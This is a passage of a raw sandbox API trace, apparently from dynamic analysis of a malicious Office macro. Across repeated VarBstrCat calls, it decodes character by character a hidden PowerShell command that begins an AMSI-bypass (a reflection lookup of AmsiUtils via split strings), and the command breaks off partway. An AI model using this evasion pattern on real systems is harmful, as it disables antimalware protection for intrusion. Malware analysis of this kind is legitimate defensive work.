lpWideCharStr="N") returned 1 [0072.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="N", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.119] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0072.119] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A'+'ms'+'i'+'U'+'ti'+'l'+'s').GetField('a'+", bstrRight="'", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.119] VarBstrCat (in: bstrLeft="&H", bstrRight="DA", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.119] VarParseNumFromStr (in: strIn="&HDA", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.119] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.119] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="Ú") returned 1 [0072.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ú", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ú£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.119] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0072.119] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A'+'ms'+'i'+'U'+'ti'+'l'+'s').GetField('a'+'", bstrRight="m", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.119] VarBstrCat (in: bstrLeft="&H", bstrRight="4E", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.119] VarParseNumFromStr (in: strIn="&H4E", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.119] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.119] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="N") returned 1 [0072.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="N", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.120] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0072.120] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A'+'ms'+'i'+'U'+'ti'+'l'+'s').GetField('a'+'m", bstrRight="'", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.120] VarBstrCat (in: bstrLeft="&H", bstrRight="56", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.120] VarParseNumFromStr (in: strIn="&H56", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.120] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.120] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="V") returned 1 [0072.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="V", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="V£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.120] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="+") returned 1 [0072.120] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A'+'ms'+'i'+'U'+'ti'+'l'+'s').GetField('a'+'m'", bstrRight="+", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.120] VarBstrCat (in: bstrLeft="&H", bstrRight="4E", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.120] VarParseNumFromStr (in: strIn="&H4E", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.120] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.120] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="N") returned 1 [0072.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="N", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.120] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0072.120] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A'+'ms'+'i'+'U'+'ti'+'l'+'s').GetField('a'+'m'+", bstrRight="'", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.120] VarBstrCat (in: bstrLeft="&H", bstrRight="E6", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.120] VarParseNumFromStr (in: strIn="&HE6", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.120] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.120] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="æ") returned 1 [0072.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="æ", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="棵½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.120] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0072.120] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A'+'ms'+'i'+'U'+'ti'+'l'+'s').GetField('a'+'m'+'", bstrRight="s", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.120] VarBstrCat (in: bstrLeft="&H", bstrRight="4E", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.121] VarParseNumFromStr (in: strIn="&H4E", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.121] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.121] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="N") returned 1 [0072.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="N", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.121] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0072.121] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A'+'ms'+'i'+'U'+'ti'+'l'+'s').GetField('a'+'m'+'s", bstrRight="'", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.121] VarBstrCat (in: bstrLeft="&H", bstrRight="56", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.121] VarParseNumFromStr (in: strIn="&H56", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.121] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.121] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="V") returned 1 [0072.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="V", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="V£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.121] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="+") returned 1 [0072.121] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A'+'ms'+'i'+'U'+'ti'+'l'+'s').GetField('a'+'m'+'s'", bstrRight="+", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.121] VarBstrCat (in: bstrLeft="&H", bstrRight="4E", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.121] VarParseNumFromStr (in: strIn="&H4E", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.121] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.121] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="N") returned 1 [0072.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="N", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.121] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0072.121] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A'+'ms'+'i'+'U'+'ti'+'l'+'s').GetField('a'+'m'+'s'+", bstrRight="'", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.121] VarBstrCat (in: bstrLeft="&H", bstrRight="D2", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.121] VarParseNumFromStr (in: strIn="&HD2", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.121] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.121] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="Ò") returned 1 [0072.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ò", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ò£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.122] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0072.122] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A'+'ms'+'i'+'U'+'ti'+'l'+'s').GetField('a'+'m'+'s'+'", bstrRight="i", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.122] VarBstrCat (in: bstrLeft="&H", bstrRight="A6", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.122] VarParseNumFromStr (in: strIn="&HA6", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.122] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.122] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="¦") returned 1 [0072.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="¦", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="¦£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.122] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="S") returned 1 [0072.122] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A'+'ms'+'i'+'U'+'ti'+'l'+'s').GetField('a'+'m'+'s'+'i", bstrRight="S", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.122] VarBstrCat (in: bstrLeft="&H", bstrRight="4E", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.122] VarParseNumFromStr (in: strIn="&H4E", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.122] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.122] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="N") returned 1 [0072.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="N", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.122] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0072.122] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A'+'ms'+'i'+'U'+'ti'+'l'+'s').GetField('a'+'m'+'s'+'iS", bstrRight="'", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.122] VarBstrCat (in: bstrLeft="&H", bstrRight="56", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.122] VarParseNumFromStr (in: strIn="&H56", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.122] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.122] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="V") returned 1 [0072.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="V", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="V£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.123] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="+") returned 1 [0072.123] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A'+'ms'+'i'+'U'+'ti'+'l'+'s').GetField('a'+'m'+'s'+'iS'", bstrRight="+", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.123] VarBstrCat (in: bstrLeft="&H", bstrRight="4E", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.123] VarParseNumFromStr (in: strIn="&H4E", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.123] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.123] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="N") returned 1 [0072.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="N", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.123] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0072.123] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A'+'ms'+'i'+'U'+'ti'+'l'+'s').GetField('a'+'m'+'s'+'iS'+", bstrRight="'", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.123] VarBstrCat (in: bstrLeft="&H", bstrRight="CA", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.123] VarParseNumFromStr (in: strIn="&HCA", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.123] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.123] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="Ê") returned 1 [0072.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ê", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ê£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.123] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0072.123] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A'+'ms'+'i'+'U'+'ti'+'l'+'s').GetField('a'+'m'+'s'+'iS'+'", bstrRight="e", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.123] VarBstrCat (in: bstrLeft="&H", bstrRight="E6", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.123] VarParseNumFromStr (in: strIn="&HE6", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.123] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.123] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="æ") returned 1 [0072.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="æ", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="棵½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.123] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0072.123] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A'+'ms'+'i'+'U'+'ti'+'l'+'s').GetField('a'+'m'+'s'+'iS'+'e", bstrRight="s", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.124] VarBstrCat (in: bstrLeft="&H", bstrRight="4E", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.124] VarParseNumFromStr (in: strIn="&H4E", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.124] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.124] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="N") returned 1 [0072.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="N", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.124] MultiByteToWideChar (in: CodePage=0x0, 